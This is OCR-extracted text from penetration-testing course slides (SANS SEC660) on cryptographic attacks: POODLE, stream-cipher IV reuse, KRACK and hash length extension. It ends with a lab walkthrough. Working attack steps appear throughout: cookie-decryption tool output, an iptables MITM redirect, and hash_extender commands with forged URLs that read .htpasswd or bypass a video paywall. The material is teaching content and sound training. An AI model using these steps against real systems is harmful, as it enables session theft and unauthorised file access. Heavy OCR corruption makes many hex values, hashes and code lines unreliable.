The attacker forces the victim to make multiple requests to the HTTPS server through JavaScript (for
example, var xmlHttp = new XMLHttpRequest (); xmlHttp.open ("GET",
"https://www.sans.org", false); xmlHttp.send(null) ;). Thisrequest must be
sent repeatedly until the attacker recovers the plaintext byte, on average 256 times per byte.

When the request from the victim goes through the attacker as a MITM, he swaps the target block of
data to the end ofthe request, overwriting the padding block (6a). Most ofthe time, this generates a
padding error because the trailing byte ofthe decrypted block chosen by the attacker will not be a valid
paddinglength value. However, afer multiple requests, this produces a value request (6b), disclosing a
single byte ofplaintext to the attacker.
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7. Next, the attacker wants to move on and attack the next byte ofplaintext in the cookie. By adding an
additional byte to the GET request perfrmed with the JavaScript injection, the attacker can change the
encrpted block data so that the swapped block now can be manipulated to reveal the second byte of
the cookie. This process is repeated until the entire target data segment is decrypted.

© 2018, Joshua Wright, James Shewmaker



* POODL Ettack by Thomas Patzke: .
 JavaScript request generator POODLEClIient.js and lightweight web server
+ TLS proxy watches intercepted packets to detect responses/session failure
» TLS disruption, degrading to SSL 3.0
» Request manipulation tool to recover plaintext

* Modern Firefox and Chrome not \w/Inerable
 Internet Explorer 11 remains vulnerable

$ ./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443

Starting SSL/TLS server on :8443 forwarding to localhost:4433

Starting HTTP server on :8000 generating requests to https://localhost:8443

Decrypted byte 384: C (0x43) in 8.1950 seconds with 57 requests

Victim now leaked 1 bytes: "C" 57 requests and 8.195 seconds per leaked bytes, 57 requests and 8.195
seconds total

Decrypted byte 385: o (0x6f) in 56.7356 seconds with 405 requests

Victim now leaked 2 bytes: "Co" 231 requests and 32.465 seconds per leaked bytes, 462 requests and
64.931 seconds total

Decrypted byte 412: t (0x74) in 21.2495 seconds with 151 requests

Victim now leaked 29 bytes: "Cookie: sessionid=supersecret" 178 requests and 25.402 seconds per leaked
bytes, 5188 requests and 736.655 seconds total
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POODLE Exploit

The most practical POODLE exploit code publicly available is POODLEAttack, written by Thomas Patzke.
His code implements all the requirements ofthe POODLE attack including:

* A static JavaScript request generator and a lightweight web server to coordinate the delivery of
requests with the necessary URL length to align the target byte to decrypt to the end ofthe padding
block.

* A TLS proxy server that watches the intercepted packets to detect the responses or session Filure to
use as a padding oracle.

* The TLS proxy server also accommodates the "TLS disruption" portion ofthe attack, forcing
vulnerable browsers to downgrade to SSL 3.0.

* Finally, a request manipulation tool "poodle.py" is provided, interacting with the TLS proxy server and
the attacker HTTP server generating the request URLS.

The POODLEAttack code does not implement the MITM attack, but Ettercap or other ARP spoofing tools can
be used. Afer the MITM attack is established, the attacker needs to deliver the JavaScript to the victim (using
Ettercap etterfilter or other injection technique), and he must redirect the intercepted HTTPS traffic to the
POODLEAttack TLS proxy using iptables:

# iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT
--to-port 4433
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Finally, the attacker starts the poodle.py script, specifFing the local TLS proxy port as the --target-port
argument, where in the HTTPS request, the oracle should start tring to recover bytes (in the example on this
page, 384 bytes offset, a guess to where the cookie content starts). Finally, the URL ofthe target SSL site is

the last argument.

In the example on this page, https://localhost:8443 is an SSL 3.0 server provided by POODLEAttack Fr
testing purposes. This example is taken Fom https://patzke.org/implementing-the-poodle-attack.html. The
POODLEAttack source is available at. https://github.com/thomaspatzke/POODLEA(tack.
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Stream Cipher IV Reuse Attack

* Exploits a weakness in stream or block ciphers in stream
mode

* Stream ciphers must never repeat the IV

* When IVs repeat and known plaintext is available, can
recover unknown ciphertext
* For colliding IV packet

* Useful against short or static IVs
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Stream Cipher IV Reuse Attack

Next we'll examine attack opportunities against stream ciphers that reuse the IV value for multiple encrypted
packets. Remember the law of stream ciphers: You must never use the same key twice. We accomplish this by
appending the shared secret key with an IV to produce a per-packet key.

When the IV repeats (such as when we reset the IV counter afer running out ofunique 1Vs or poorly designed
implementations where the 1V repeats), we have an opportunity to decrypt ciphertext content without key

knowledge.

For this attack to be successful, the attacker has to have knowledge ofa known plaintext and ciphertext pair.
For many systems, it is possible to identiF limited quantities of known plaintext from enclypted data,
especially in stream ciphers when the original packet length is known. For example, Windows clients send
several packets that have consistent content with unique frame sizes (such as DHCP requests) that are
consistently known; when we Stt a ciplitrtxt valut Iha! matches the length ofthe Windows DHCP request,
we can use the known plaintext content as a component against an 1V collision to recover unknown plaintext.
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NetworkTraffc Sample

Packet |
Packet 2
Packet 3
Packet 4
Packet 5
Packet 6

591£5377
31b98481
eb3c6307
d8a3390c
591£5377
204f0eb3

5cd731c7
el
lcblcdc4
fb48aa6l
5cd731c7
f1

9bc02d08 8bac34

al3elab9c 6¢c3f71f9

9bc02d08 8bac34

* Proprietary wireless protocol traffic

 Header information removed, packets shortened for space,
simplicity

* We need to evaluate this implementation
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Net®ork Tra®c Sample

Consider the implementation ofa proprietary wireless network protocol with several packets, shown in this
slide. For simplicity, only a portion ofeach packet is shown and the header content ofthese packets has been

removed.

With several packets having an uneven length, we can identiF this as a stream-cipher application. Further,

packets 1 and 5 have the same ciphertext, indicating an IV collision across two Fames. As we'll see in the next

slide, stream ciphers that do not avoid IV collisions are subject to attack.
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Stream Cipher IV Collision (1)

* Known-ciphertext attack opportunity

* Must have a known ciphertext/plaintext pair or the
ability to create our own trafic

¥ ENO”“?" Plaintext @ Keystream Ciphertext
ncryption
2 DNorm3| Ciphertext @ Keystream Plaintext
ecryption
A : Our Packet (K
3 Comxmcl;lt)\atwe 2" pT;nieit)nown @ Ciphertext Keystream
' 4 ' Unknown ;
£ Attack Ephereat Keystream Recovered Plaintext
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Stream Cipher IV Collision (1)

When two packets have the same 1V but different ciphertext, it indicates to us that the plaintext ofthe two
packets is not identical. We may see some duplicate bytes (or groupings of multiple bytes) caused by duplicate
plaintext across the two different packets, but this is only coincidental and not necessary for our attack.

When we identi¥ two packets with an IV collision and one ofthe ciphertext packets has known plaintext (a
known-plaintext attack), we can recover the second unknown plaintext by recovering the keystream data
generated by the IV. First, examine the concept ofnormal encryption shown in example | on thisslide. In this
example, the plaintext is XORed with the keystream data to generate ciphertext, as we saw earlier in this
module. The second example shows the process of normal decryption, where the ciphertext is XORed with the

keystream data to produce plaintext.

These two operations are not the ¥l extent ofwhat can be done with these values, however. In example 3, we
examine the behavior of commutative XOR by taking our known plaintext and XORing it with the ciphertext

to recover the keystream data.

Ifthe keystream data we just recovered is also used to encrypt another packet (e.g., an IV collision), we can
reuse the keystream data to recover the plaintext ofthe unknown packet. In example 4, we take the unknown
ciphertext IV collision value whose plaintext we want to recover and XOR it with the keystream data,
revealing the plaintext ofthe unknown packet.

© 2018, Joshua Wright, James Shewmaker 65




Stream Cipher IV Collision (2)

« Known plaintext in plainknown, ciphertext in cipherknown
* Unknown ciphertext is in cipherunknown

plainknown = { 0xBO, OxIl, 0x39, Oxab, 0x00, 0x00, 0x00, 0x00,

Oxff, Oxff, Oxff, Oxff, 0x00, O0x44, 0x00, 0x43 )

cipherknown = { 0x59, OxIf, O0x53, 0x77, Ox5c, Oxd7, 0x31, 0xc7,

0x9b, 0xc0O0, O0x2d, O0x0B, OxBb, Oxac, 0x34, 0x26 );

cipherunknown = { Oxeb, 0x3c, 0x63, 0x07, Oxlc, Oxbl, Oxcd, 0xc4,

Oxa3, Oxel, Oxa6, 0x9c, 0Ox6c, 0x3f, Ox71, O0xf9 );

for i in xrange (0, len(plainknown)) :

pri

cipxor = cipherknown[i] . cipherunknown[i]
print ("%02x"% (cipxor . plainknown[i])),
nt("")

C:\dev>python ivcoltest.py

22

32 09 d5 40 66 fc 03 c7 de 74 6b e7 d7 45 9c
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Stream Cipher 1V Collision (2)

This example shows a small Python script that demonstrates how we can recover the plaintext ofan encrypted
packet when there is an 1V collision Fr an encrypted packet whose plaintext we know. First, we defne a tuple
"plainknown", which represents the content ofa known plaintext packet that corresponds to an encrypted
packet we observed that has an JV collision. Second, we defne the tuple "cipherknown", which is the
encrypted Frm ofthe "plainknown" data. Finally, we identi¥ an encrypted packet that has an 1V collision
with the "cipherknown" value and enter the unknown ciphertext value whose plaintext we want to recover.

In the code on this page, we iterate the variable "i" in a for loop for the length of the plainknown tuple (all the
defned tuples have the same length). For each iteration, we compute the "cipxor" value, which is the product
of XORing the "cipherknown" value with the "cipherunknown" value. Next we XOR the product of this
operation (cipxor) with the "plainknown" value, revealing the plaintext of the corresponding byte ofthe
“cipherunknown" tuple, displaying the output with the print command in hexadecimal output Frmatting. As
shown on the bottom ofthis slide, we are able to recover | 6 bytes of plaintext for the "cipherunknown" data,
which we later discovered was a portion ofan IP packet header.

In order to be effective in recovering data, we need to know the plaintext ofa given encrypted packet and the
encrypted packet must have an 1V collision. In weak stream cipher implementations that use a static IV, there
is a lot of opportunity to identif known plaintext and recover the keystream data from the corresponding
ciphertext packet. When a static 1V is used, we can decrypt all the packets once we know the keystream data
from one known ciphertext/plaintext pair.

In other implementations where IV collisions are less common, we generally start with a large data capture

and identify all the Fames Fr which there are 1V collisions. From there, we evaluate each frame to determine
ifwe can identify any ciphertext/plaintext pairs to use Fr identifying keystream data, revealing the plaintext of
corresponding packets.
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In some situations, we are able to inject or supply our own data that is subsequently encrypted, such as by
creating new user accounts in a web application which are encrpted and used as a session cookie. In these
cases, producing as many user accounts as possible whose plaintext and ciphertext are known will help us build
an 1V lookup table Fr use with any subsequent traffc to dec rpt unknown ciphertext.
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KRACK Attack - IV Reuse in Practice

Authenticator Supplicant
Common WPA2 ; _PP
1mpl ementation ' ANonce, start new key negotiation
e
VlllI.leI'.ablllt}.’ SNonce, MIC of frame 2
« Significant impact to
. . |
Android devices MIC of frame 3

Attacker replays step 3
of the four-way MIC of frame 4, ready to TX/RX a
handshak han

a d SNake exc . a ged Data Frame, IV=0x00000000000 | q
during authentication
* Affects PSK and Data Frame, IV=0x000000000002 c

Enterprise auth.

Data Frame, IV=0x00000000ffff -
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KRACK Attack - 1V Reuse in Practice

The KRACK attack against WPA2 WiFi networks discovered by Mathy Vanhoef
(https://www.krackattacks.com/) is a classic example ofan 1V reuse vulnerability. A®fecting over two billion
mobile devices running Android worldwide (as well as unpatched Linux, Windows, i0S, and macOS
systems), the KRACK attack allows an attacker to leverage IV reuse to decrypt packets sentover a WPA2
network.

When a wireless client connects to the AP, it must go through an exchange known as the four-way handshake
(steps 1-— shown on this page). The authenticator (the access point) starts a key negotiation process with the
supplicant (the wireless client), authenticating both parties' knowledge ofthe Pairwise Master Key (PMK,
derived from a pre-shared key or the key delivered following IEEE 802.1 X authentication with an EAP
method). Afer step 2, the authenticator has verified the identity ofthe supplicant and registers the new
temporary Pairwise Transient Key (PTK) for subsequent use. Similarly, afer step 3, the client has verified the
identity ofthe AP and does the same.

Frames transmitted afer the Fur-way handshake use a positively incrementing JV value, starting at | and
incrementing to 65,535. Prior to 65,535 frames, the two devices complete another Fur-way handshake to
derive a new PTK, allowing them to switch keys without exceeding the 16-bit IV space or repeating 1Vs.
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Authenticator Supplicant

— When an attacker replays the
ANonce, start new key negotiation
frame that sets the key, the
SNonce. MIC of frame 2 e vulnerable supplicant sets the
former key again, resetting the IV
MIC of frame 3 to |.Subsequent packets will

collide with previous IVs,
exposing the device to IV

MIC of frame 4, ready to TX/RX

Data Frame, IV=0x00000000000I| . " . .
This key reset issue is particularly

bad for Android and Linux devices
using wpa_supplicant, which

MIC of frame 3 resets the key in memory to all
— 0's after it is first set.

]
— collision attacks.
]

Data Frame, 1V=0x000000000002

Data Frame, IV=0x00000000000|
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KRACK Attack Example

Ina KRACK attack, the attacker observes the Fur-way handshake and allows the supplicant to send legitimate
data the attacker wishes to decrypt. At some point before the 1V space for the current key is exhausted (e.g.,
be¥re 65,535 packets), the attacker replays the previously observed Fur-way handshake step 3. Due to a
common implementation Faw in many WPA2 supplicants, the client receiving the replayed packet checks to
veriF the authenticity ofthe packet, then sets the PTK ¥ use, resetting the IV value to | again. Subsequent
packets transmitted by the supplicant will have repeating 1V values, allowing the attacker to mount an 1V reuse
attack and decrypt the contents of the packets without PTK knowledge.

In the case of Android devices or other Unix-based systems using the wpa_supplicant client sofware, the
KRACK attack is particularly signifcant. The wpa supplicant soFware removes the PTK fiom memory
immediately afer it is set. Receipt of frame 3 in the four-way handshake prompts the wpa supplicant sofware
to set the key again; this time, the key is always all 0's due to the prior key wipe operation. As a result, an
attacker can easily decrypt all tra®c on a WiFi network ¥r vulnerable Android devices, a problem which will
likely persist Fr many years.
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Hash Length Extension Attack

* Vulnerability for sites with an attacker-controlled value
is appended to a secret to generate a hash

* Attacker can create a valid hash, without knowing the secret

value

http://victim.tld/download?file=public.pdfé&hash=
Ib4a8292cdef7c5fb94b6adac5ee8d62

if (MDS("!secret!value!" . file) != hash) {
print ("ERROR: Incorrect hash! Nice try. Go away.") ;
} else {

print("Here is your file.");
readfile(file);
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Hash Length Extension Attack

Hash length extension (or hash length padding) exploits a Message Integrity Check (MIC) validation faw. In
some web applications, developers will implement their own hash validation function, using a secret and a
secondary value as the input to a hashing algorithm such as MD5 or SHA|. Developers believe because the
secret value is not known, an attacker cannot supply an alterate secondary value and correct hash.

In the example on this page, a URL to retrieve the Fle "public.pdf" is shown and reproduced below:

http://victim. tld/download?file=public.pdf&hash=
Ib4a8292cdef7c5fb94b6adacsee8d62

Here the "download" web application accepts two GET parameters, "fle" and "hash". The "file" parameter
identifes the flename to be retrieved from the application, while "hash" is a hash value that is computed by
taking a secret value and appending the Flename. In the sample code on this page, the developer checks the
input parameters to the script, only retur-ing the content ofthe requested fle when the hash supplied in the
GET request matches the calculated hash using the secret and the Flename as inputs. Through this mechanism,
though an attacker could change the flename to any value he chooses, the hash is invalid and cannot be
computed without the secret value (or so the web developer believes). In this section, we'll look at the concept
ofa hash length extension attack, which circumvents this control.
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Hash Algorithm Padding

What really happens when you hash something:
o Calculate hash Fr string ° Initialize registers with defult values
MDs("Isecret!" . "public.pdf™) /\' 67452301, EFCDAB89, 98 BADCFE 10325476
° Pad string to 64 bytes/512 bits, adding padding start marker and length
00: 2173 6563 7265 7421 7075 626c 6963 2e70 !secret!public.p

10: 6466 8000 0000 0000 0000 0000 0000 0000 df..............
20: 0000 0000 0OOOO 0OOO 0OOO 0000 0000 0000 ... ...,
0000 0000 0000 0000 9000 0000 0000 0000

° Calculate hash 30: 0000 0000 0000 0000 9000 0000 0000 0000 ................
27b6737b, Your hash
ed43c3def, /\/v 27b6737be43c3d6fe5547223a79d390d
e5547223, °
a79d390d
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Hash Algorithm Padding

Befre we look at the attack itself, we need to understand the concept ofhash algorithm padding. Many
popular hashing algorithms (including MOS and SHAI) leverage a technique known as length padding or
Merkle-Oamgard strengthening (so named afer the authors Ralph Merkle and lvan Oamgard, who developed
early works regarding the use ofcollision-resistant cryptographic hash functions). This length padding
mechanism is applied when an input value is hashed through several steps:

I. First, the data to be hashed is sent as an input to the hashing.algorithm. In this example, the secret
value "Isecret!" and the filename "public.pdf" are concatenated prior to hashing. The MOS hashing
function processes the input data as "!secret!public.pdf'.

2. The hashing algorithm initializes the hash function registers with default starting values. In the case of
MOS, four 32-bit words are used to initialize the hashing algorithm: 67452301, EFCOABS89,
98BAOCFE, 10325476. Other hashing algorithms will use diferent initial register values.

3. Next, the hashing algorithm pads the input data to a 64-byte/512-bit block. This behavior also changes
depending on the hashing algorithm, but Fr M OS, the frst bit afer the input data is setto ! (0x80 in
hex, as shown). The data is then padded to 56 bytes, 8 bytes short ofthe block length. Inthe example
on this page, there are 37 padding bytes (0x00). The remaining 8 bytes are used to represent the length

ofthe input data. In this case, the input data is 18 bytes or 144 bits (0x90 bits in hex). When the input
data is longer than a single block, the data is handled one 64-byte block at a time until the last block.

4. Next, the hashing function processes the padded input data to form the hash value. Inthe case 0fMOS,
the output hash is the value ofthe four registers afer processing all the data: 27b6737b,
e43c3d6f, e5547223, a79d390d.

5. Finally, the hashing function returns the hash value for the input data, which is simply the
concatenation ofall the register values: 27b6737be43c3d6fe5547223a79d390d.
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Other hashing Fnctions operate on very similar principles, varying primarily in the length ofthe output hash,
the starting register values, and the technique used to hash the input data. The Fnctionality of padding blocks
smaller than the block length remains very similar with minor changes between hashing Fnctions.
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Exploiting Hash Length Extension

* Use known valid hash to = -
continue hash calculation Isecret! P99799??

* Instead of starting with the . .
default registers, use the valid Rl qu_ 27M9357b pl{bl_lc._p di_:_
hash to continue the hash e43c3d6f |

* Attacker just picks up hashing supplied a79d3s0d supplied
where the server left off padding | padding

* Attacker sends new hash and
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Exploiting Hash Length Extension

Hash length extension attacks were frst popularized by Thai Duong and Juliano Rizzo when describing
vulnerabilities in the Flickr APl Signature mechanism
(http://netifera.com/research/fiickr_api_signature_forgery.pdf). In a hash length extension attack, the attacker
uses a known valid hash (Fr example, a "good" file or other token) and uses it to continue the hash calculation
process. Instead ofallowing the server to supply the padding to continue the hash calculation Fr the legitimate
data, the attacker supplies the padding so that the server computes the hash value for the first block ofthe
supplied data. Immediately afer the frst block (valid token plus the attacker-supplied padding), the attacker
supplies the alter-ate flename/token content.

Many hashing functions, including SHA! and M D5, take the hash value Fom the previous block and use it as
the starting registers for the next block ofdata. In a hash length extension attack, the attacker knows the valid
hash ¥ the previous block (token plus padding) and reuses the prior hash as the starting point to calculate the
next block ofa hash. In the next block, the attacker supplied his desired content, picking up where the server

hash function lef o

In the example on this page, we have the plaintext content calculated by the server illustrated on the lef,
consisting ofthe secret value "!secret!", the known filename token "public.pdf', and the valid MD5 hash. The
attacker doesn't know the secret value, but since he knows the valid hash Fr the content, he can add his own
malicious content and calculate the content as the next valid data block, initializing the hash Fnction registers

to the known hash value.

The opportunity to exploit the server using hash length extension attacks will difer between applications. In
the past, hash length extension attacks have been used to gain escalated privileges on a server, to perform
directory recursion attacks, and to perform command injection attacks.
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# ./hash_extender -d two.txt -s 1b4a8292cdef7c5fb94b6aSac5ee8d62 -a /../../.htpasswd --
format md5 -1 6 --out-data-format html
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Hash Extender

In order to exploit a hash length extension attack, the attacker needs to identi¥ a valid hash and valid input
data, supplying additional data that circumvents the security ofthe system. In order to append content ofthe
attacker's choosing, the attacker must supply the normally server-calculated padding value (preserving the frst
block), prior to adding the additional malicious data.

The tool hash_extender written by Ron Bowes (https://github.com/iagox86/hash_extender) greatly simplifes
the process ofexploiting hash length extension vulnerabilities. In the example on this slide, the legitimate
flename "two.txt" has an associated hash value of Ib4a8292cdef7c5fbh94b6a%ac5ee8d62. Using
hash_extender, we specif the original token ("-d two. txt") and the hash ("-s
Ib4ag8292cdef7c5fb94b6adacsee8d62"), Fllowed by the additional data we want to supply ("-a
/../../. htpasswd", inthis example). We can also supply the hash Fnction type ("- - format md5")
and the length ofthe unknown secret ("-1 6", in this example). For web-based attacks, the output data is
URL encoded by speciFing the "- -out-data-format html" option, as shown.

The hash_extender tool recreates the padding Fr the data block containing the secret value and the data token,
then uses the valid hash and continues the hash calculation with the attacker-supplied data. In the example on
this page, we see the new string has the original flename token ("two.txt", encoded as "two%?2etxt"), followed
by the start-padding marker ("%80", or 0x80), followed by the padding bytes before the length value
("%00h%00%00%00%00%00%00%00" or 0x6800000000000000 in hex).

Using the output of hash_extender, we can produce a new URL against the target system, supplying the
hash_extender new string in the "flename" parameter, and the new signature in the "hash" parameter:
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http://hashdemo.sec660.org/hash.php?flename=two%2etxt%80%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00h%00%00%00%00%00%00%00%2 17 2e%2e%2 1/ 2e%2e%?2 ¥o2ehtpasswd&h
ash=0e93616c88ed0b9735d3d62e2bd4d7 | a

Visiting this URL against the server allows us to retrieve the content of fles on the flesystem, even when not
intended Fr access by the developer.

Additional infFmmation about hash length extension attacks, including amore thorough introduction to the use of
the hash_extender attack, is available on Ron Bowes' blog at:
http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks
(http://preview.tinyurl.com/8kw2z1x).
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Challenges with Hash Length Extension Attacks

* What is the hashing algorithm
- n MD4 16 bytes
In use " ) ) MDs5 16 bytes
* IdentiF using the valid hash SHA TR
length and guesswork SHA1 P
* What is the length of the secret  sHaz2s6 32 bytes
value? SHAs512 64 bytes

RIPEMD160 20 bytes

* We have to guess!
WHIRLPOOL 64 bytes

SEC660 | Advanced Pne®&ton Testing, Ex<loi Writing and E€icl Hacking 76

Challenges with Hash Length Extension Attacks

The hash length extension attack is use ¥l in penetration testing, but its applicability varies depending on
the application design and the ability for the attacker to overcome some challenges associated with the

attack:

Identifying the Hashing Algorithm: The attacker must be able to identi® which hashing algorithm is in
use during the attack. During a penetration test, we may be able to use reconnaissance information
available from web application error messages or other public data sources to identiF the algorithm in use,
but we may also be forced to guess. Potential hash function matches can be identifed by examining the
length ofthe hash itself (remembering that ASClI-encoded hashes such as

"1e0b2cf091f03 | bbe 8 1b07845b29d012e888a0" are really 20 bytes in length despite having 40
characters, since each byte is represented as two ASCII characters), but may only reduce the number of
possibilities. The penetration tester must use manual testing and guesswork to identi¥ the correct hashing
function. The tahle on this page includes the output hash length #r common hashing finctions that are all
vulnerable to the hash length extension attack.

Identifying the Secret Length: In order for tools such as hash_extender to identi¥ the correct amount of
padding to supply for a block, the length ofthe secret is required. As a penetration tester, we do not know
the secretvalue, so we have to guess until we are success ¥l at exploiting the web application.

Identifcation of Vulnerable Servers: There are no easy tricks Fr identi¥Fing a server Fnction vulnerable
to hash length extension attacks. The penetration tester must look for user-controlled input data (such as
flenames, userames, user or group identifcation tokens, SQL statements, etc.) and associated hash
values. When the user-controlled input data is changed (either through a URL, POST parameter, cookie, or
other content), we want to identi®¥ an error message that would indicate a hash integrity check validation
error as a potential candidate for a hash length extension attack.
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* As a pen tester, do not skip over crypto

* Critical skill building for crypto
* Stream and block ciphers and modes
* IV handling for stream and block ciphers
* Tools for visualizing, assessing randomness

* ldentiFing and attacking crypto failures

SEC660 | Advanced Penetration Testing, ExploitWriting, and Etical Hacking

Conclusion
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Conclusion

In this module, we wanted to emphasize that as a penetration tester, it is important not to skip over
cryptographic implementations. With some essential skill development and a strong understanJing uf the
modes of operation and use models for various encryption algorithms, we can start to evaluate cryptographic
systems and identi¥ system weaknesses and vulnerabilities.

We also examined tools for visualizing and assessing the content of data to identi ¥ ifit is encrypted,
comparing the data patters present in well-encrypted data to random data. In some cases, cryptographic
analysis is not necessary when systems employ obfscation techniques that are more easily bypassed.

Finally, we examined multiple techniques for attacking cryptographic weaknesses, including CBC hit Fipping
attacks, oracle padding attacks, stream cipher JV collision attacks, and hash length extension attacks. All these
methods allow us to manipulate the cryptographic system to gain escalated system privileges or recover
plaintext without resorting to brute-Frce key search techniques.
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Exercise: Hash Length Extension Attack

* Target: 1908 Archive, a unique anime
site
« Site provides demo access with short video
clips
* Longer clips are only accessible to paying
customers
* Exploit the site to retrieve access to FlI

anime video Fles

http://anime.sec660.0rg
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Exercise: Hash Length Extension Attack

In this lab exercise, you will attack the "1908 Archive," a unique anime site ofering original anime content to
paid subscribers. For potential customers, 1908 Archive offers demo access to the site, allowing users to see
sh0li segments ofthe videos on the site.

In this attack, you will exploit the vulnerable use ofhashed signatures protecting access to the ¥l anime video
Tles through a hash length extension attack. Access the target site at: http://anime.sec660.0rg.

In this exercise, you will use the hash_extender utility. This tool is not included with stock distributions of Kali
Linux, but has been included in the customized version ofKali Linux distributed in class.
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Exercise: Hash Length Extension Attack - STOP

* . Stop here, unless you want answers to the exercise

SEC660 | Advanced Penetration Testing. Explojt Writing, and Ethical Hacking
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Exercise: Hash Length Extension Attack - STOP

Don't go any Frther unless you want to get the answers to the exercises. The next page will begin a review of
the answers to this exercise.
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Information Gathering
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http://anime.sec660.org/access.php?filename=Anime07-short.mp4
&hash=eb6ec8047be | f39b800f7f503269ef 191 eae0fb30

SEC660 | Advanced Penetrdon Testing, Exploit Writing, and Ethical Hacking €0

InFrmation Gathering

Using your browser, gather infrmation about the anime.sec660.0rg site. Log in with the demo credentials
specifed on the index page ofthe site, then click to play one or two ofthe anime videos. Note all the
accessible anime videos are limited to ten seconds in length, a shorter version ofthe ¥l video content.
Evaluate the URL-linked content to identi® some ofthe video fle and hash characteristics.
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Information Analysis

Filenames are "AAAAAAAAA-
short.mp4". Full video could be
"AAAAAAAAA-long.mp4" or just
"AAAAAAAAA mp4"

http://anime.sec660.org/access.php?filename=Anime07-short.mp4
&hash=e6ec8047bef39b800f7f503269ef| 9 1 eae0fb30

We don't knov:/ the secret Hash is 40 characters or 20 hex bytes - could
length, so we'll have to be SHA, SHA |, or RIPEMD 60 (but probably
guess. SHAI)
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InFrmation Analysis

Looking at the website links, we see that the video files are consistently named with the "-shott mp4" suffx.
We don't know for certain, but we can speculate that the full videos keep the "mp4" extension but omit "-
short" or use "-long" or "-full" in the filename.

The hash is 40 characters in length (easily counted at the command line with "echo -n

e6ec8047bel f39b800F1503269efl 91eae0fb30 | we -¢") and consists only ofhex characters. Since the GET
parameter is "hash", we can saFly assume this value is a hash of some sort represented in ASCII hex. A 40-
character ASCII hex string is 20 bytes, indicating that the hash could be SHA, SHAI, or RIPEMD!60. Of

those, SHA is the most likely candidate as it is the most popular.

We don't know how the hash is calculated and we don't know what the length ofthe possible shared secret is,
used to calculate the hash. We'll have to guess at some ofthese values during exploitation.

Experiment with the site, manipulating the parameters in the URL to determine the site response to malformed
content.
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Hash Validation

» The site rejects requests for files with an
invalid hash

« We need to calculate a valid hash to access files other than the
video shorts

http.//anime.sec660.org/access.php?flename=Animeo7-short. mp4

T T |

; ' htp//anime.sec &.or.. fAFFFFFFH T !_+ i |
| € T8 pj = = B> !
E Incorrect hash. |
_ |
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Hash Validation

[fwe change the hash associated with a flename (in a small way or by replacing the entire hash as shown
here), the server responds with "Incorrect hash.”, as shown on this page. We need to find a way to calculate a
valid hash to access files on the site other than the video shorts.

Use the hash extender tool to calculate a valid hash, using the valid filename and hash data to retrieve the FlI
video files from the site.
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Valid Hash Extension ()

http://anime.sec660.org/access.php?flename=Animeo7-short mp4
&hash=e6ec8047belf39b800f7t503269efl91eaeofh30

* Tryto retrieve the fle "Aimeo7-full. mp4"

* Must recurse one directory "somedir/ Aimeo7-short. mp4{hash
ext chars}/../Animeo7-Fll. mp4"

# hash_extender -d Anime0O7-short.mp4 -s e6ec8047belf39b800f7f503269ef191leae0fb30
-a /../Anime07-full.mp4 --format shal -1 6 --out-data-format html

Type: shal %
Secret length: 6 ‘
New signature: e717833d27c998a4cad8fdbf5f3cfbe88516e85hb

New string:
Anime07%2dshort%2emp4%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0

0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%2Ff%2e%2e%2FAnim
e07%2dful 1 %2emp4

S
# i metrese ]
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Valid Hash Extension (1)
For this attack, we'll have to try multiple hashes with our best guess Fr three parameters: Hashing type, secret
length, and the full video filename.

We are relatively sure the hashing function is SHA |, based on the hash length and the popularity ofthe
hashing algorithm. For the length ofthe secret used to calculate the hash, we can start with a reasonable value
(we'll start with 6) and keep incrementing the value until we get a valid hash (or extend beyond the length ofa
reasonable secret, perhaps 40 characters). For the full video filename to retrieve, start with "Anime07-
full.mp4", matching the naming convention from the short version ofthe video.

In the example on this page, we use hash_extender and tell it to per®rm a hash length extension attack,
starting with the original flename content ("-d Anime07-short.mp4"), theoriginal hash ("-s
e6ec8047belf39b800f7f503269ef191eae0fb30"), the hashtype guess ("--format shal"),

our guess for the passcode length ("-1 6") and the hash length extension string output Ffrmat (" --out-
data-format html"). We also specif the new filename to retrieve from the system ("-a
/.. /Anime07-full.mp4"). Notetheleading "/../" inthe new filename. Because the system is

going to process the hash length extension string as the new filename, we need to tell it to recurse one
directory (which is the original flename and extra hash characters supplied as part of our attack) before

opening the new filename.
To visualize this attack, it may be helpful to URL decode the hash extension attack URL to see what the

filename has changed to or rerun hash_extender with "--out-data-format raw" to see how the flename changes
as part ofthe attack.
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http://anime.sec660.org/access.php?filename=Anime07%2dshort%2em
p4%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%
2th2e%2e%2fAnime07%2dful 1%2emp4&hash=e717833d27c998a4cad8fdbf5f

3cfbe88516e85b

T -
o

T he//anime s 6.03 2= f19leae b3 | +

| ik

| -

|| € d,87bel30bE375326919leacb i ¢ B-ow: P % A R~
|

|

: Incarrect hash.

Either our password length guess is wrong, our hash guess is incorrect, or the system is not

vulnerable to hash length extension attacks. Keep trying with different password length
guesses. Be careful to cut and paste the correct hash and the correct filename.
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Valid Hash Extension (2)

Using the output fiom the hash_extension tool, we craf a new URL on the site as shown on the top ofthis
page, replacing the flename and hash parameters with the output Fom hash_extender. When we request the
crafed URL, the site responds with the Fmiliar "Incorrect hash.", as shown.

At this point, there are several possibilities ¥r the incorrect hash message:

* The system is not vulnerable to hash length extension attacks: This will remain a distinct possibility
until we can prove otherwise.

® Tool or attacker mistake: We can't rule out an error in hash_extender or a problem with cutting and
pasting the parameters in the URL. Make sure you double-check your work.

® Hash guess is incorrect; The system may not use the SHAI hashing Fnction, but still be vulnerable to
hash extension attacks. We may have to guess again, using a diferent hashing algorithmthat matches
the format ofthe observed hash.

* Password length is incorrect: The most likely situation at this point is that we guessed the password
length incorrectly. Try using hash_extender again with the same parameters (press the up arrow in
your Linux terminal to repeat the previous command) and guess again with a different password
length. Keep guessing until you don't get the "Incorrect hash." error.
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Valid Hash Extension (3)

* Hash_extender can accept a range of password lengths,
providing data and hash for each

# hash_extender -d Anime0O7-short.mp4 -s
e6ec8047belf39b800F7f503269ef191eae0fb30 -a /../Anime07-full .mp4 --format
shal --out-data-format html --secret-min 6 --secret-max 7

Type: shal

Secret length: 6

New signature: e717833d27c998a4cad8fdbfs5f3cfbe88516e85b

